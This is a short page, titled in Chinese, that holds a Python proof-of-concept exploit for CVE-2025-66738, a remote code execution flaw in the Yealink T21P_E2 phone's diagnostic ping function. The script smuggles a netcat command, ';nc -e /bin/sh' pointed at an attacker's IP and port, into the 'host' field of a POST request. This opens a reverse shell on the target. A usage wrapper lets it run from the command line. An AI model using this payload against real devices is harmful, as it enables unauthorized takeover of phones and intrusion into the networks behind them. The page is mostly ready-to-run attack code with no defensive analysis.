CVE-2025-66738 Yealink T21P_E2 Phone诊断组件远程代码执行漏洞

import requests import sys # CVE-2025-66738 PoC - Yealink T21P_E2 Phone RCE via ping function # Target: Yealink T21P_E2 Phone (Firmware <= 52.84.0.15) def exploit(target_ip, attacker_ip, attacker_port=4444): """ Exploit the ping function in diagnostic component to achieve remote code execution """ # Construct malicious payload to trigger reverse shell # Using netcat to connect back to attacker payload = f";nc -e /bin/sh {attacker_ip} {attacker_port}" # Target endpoint (typical diagnostic ping function) url = f"http://{target_ip}/servlet?m=mod_tcp&op=ping" # Prepare malicious request data = { 'host': payload, 'count': '1', 'packet_size': '64' } try: print(f"[*] Sending exploit payload to {target_ip}...") response = requests.post(url, data=data, timeout=10) print(f"[+] Payload sent. Check your listener on port {attacker_port}") print(f"[*] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_ip> <attacker_ip> [port]") sys.exit(1) target = sys.argv[1] attacker = sys.argv[2] port = int(sys.argv[3]) if len(sys.argv) > 3 else 4444 exploit(target, attacker, port)